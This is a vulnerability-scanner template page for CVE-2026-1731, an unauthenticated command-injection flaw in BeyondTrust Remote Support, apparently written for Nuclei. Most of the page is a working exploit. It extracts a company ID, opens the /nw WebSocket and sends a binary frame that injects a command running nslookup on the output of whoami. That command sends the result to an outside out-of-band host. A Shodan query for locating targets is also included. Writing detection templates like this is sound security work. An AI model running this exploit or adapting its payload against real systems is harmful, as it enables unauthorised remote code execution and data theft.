BeyondTrust Remote Support - Unauthenticated WebSocket RCE
CVE-2026-1731
Early Release
Description
BeyondTrust Remote Support is vulnerable to unauthenticated remote code execution via the WebSocket endpoint /nw. An attacker can extract the company identifier from the /get_mech_list endpoint and use it to connect to the WebSocket service, then inject OS commands through the binary WebSocket payload that are executed on the server.
Severity
Critical
Exploit Probability
0%
Affected Product
remote_support
Published Date
February 10, 2026
Template Author
attackerkb, hacktron, pdteam
CVE-2026-1731.yaml
id: CVE-2026-1731
info:
name: BeyondTrust Remote Support - Unauthenticated WebSocket RCE
author: attackerkb,hacktron,pdteam
severity: critical
description: |
BeyondTrust Remote Support is vulnerable to unauthenticated remote code execution via the WebSocket endpoint /nw. An attacker can extract the company identifier from the /get_mech_list endpoint and use it to connect to the WebSocket service, then inject OS commands through the binary WebSocket payload that are executed on the server.
impact: |
Remote attackers can execute arbitrary commands on the system without authentication, potentially leading to full system compromise.
remediation: |
Apply the latest security patches provided by BeyondTrust for Remote Support and Privileged Remote Access products.
reference:
- https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis
- https://www.hacktron.ai/blog/cve-2026-1731-beyondtrust-remote-support-rce
- https://www.beyondtrust.com/trust-center/security-advisories/bt26-02
classification:
cve-id: CVE-2026-1731
epss-score: 0.00439
epss-percentile: 0.62626
cwe-id: CWE-78
metadata:
verified: true
max-request: 2
vendor: beyondtrust
product: remote_support
shodan-query: http.html:"BeyondTrust"
tags: cve,cve2026,beyondtrust,rce,websocket,oob,js,vuln
flow: http(1) && javascript(1)
http:
- raw:
- |
GET /get_mech_list?version=3 HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: word
part: body
words:
- "company"
internal: true
extractors:
- type: regex
name: company
part: body
group: 1
regex:
- '"default_company"\s*:\s*"([^"]+)"'
internal: true
javascript:
- code: |
const net = require("nuclei/net");
const nb = require("nuclei/bytes");
let address = Host + ":443";
let conn;
try { conn = net.OpenTLS('tcp', address); } catch(e) { conn = net.Open('tcp', address); }
// Step 1: WebSocket upgrade handshake
let handshake = "GET /nw HTTP/1.1\r\n";
handshake += "Host: " + Host + "\r\n";
handshake += "Upgrade: websocket\r\n";
handshake += "Connection: Upgrade\r\n";
handshake += "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n";
handshake += "Sec-WebSocket-Version: 13\r\n";
handshake += "Sec-WebSocket-Protocol: ingredi support desk customer thin\r\n";
handshake += "X-Ns-Company: " + company + "\r\n";
handshake += "\r\n";
conn.Send(handshake);
let resp = conn.RecvString(4096);
let result = "";
if (resp.indexOf("101") !== -1) {
// Step 2: Build binary WebSocket frame with command injection payload
let payload = "hax[$(/usr/bin/nslookup $(whoami)." + oob + ")]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n";
let buf = new nb.Buffer();
buf.WriteString(payload);
let payloadHex = buf.Hex();
let payloadLen = buf.Len();
// WebSocket frame structure:
// Byte 1: FIN=1 + RSV=000 + Opcode=0010 (binary) = 0x82
// Byte 2: MASK=1 + payload length
// If length < 126: single byte (7-bit length)
// If length 126-65535: byte=126, then 2-byte big-endian length
// Masking key: 00000000 (no-op XOR mask)
let frameHeader = "82";
if (payloadLen < 126) {
frameHeader += (0x80 | payloadLen).toString(16).padStart(2, '0');
} else {
frameHeader += "fe"; // 0x80 | 126
frameHeader += ((payloadLen >> 8) & 0xFF).toString(16).padStart(2, '0');
frameHeader += (payloadLen & 0xFF).toString(16).padStart(2, '0');
}
frameHeader += "00000000";
let frameHex = frameHeader + payloadHex;
conn.SendHex(frameHex);
result = conn.RecvString(4096);
}
conn.Close();
result;
args:
Host: "{{Host}}"
company: "{{company}}"
oob: "{{interactsh-url}}"
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
extractors:
- type: regex
group: 1
part: interactsh_request
regex:
- '([a-zA-Z0-9_-]+)\.[a-z0-9]{20,}\.'
# digest: 4a0a004730450220664c85da71b9e41a48184d18f325563b74c7981f364719171453ca63fb2a4c7a022100beadf333d87afb73ab2eaef214d8589c98282e68e3d3bb05f700316d0ad9c846:922c64590222798bb761d5b6d8e729509.5Severity
CVSS Metrics
CVE ID:
cve-2026-1731
CWE ID:
cwe-78
Remediation Steps
Apply the latest security patches provided by BeyondTrust for Remote Support and Privileged Remote Access products.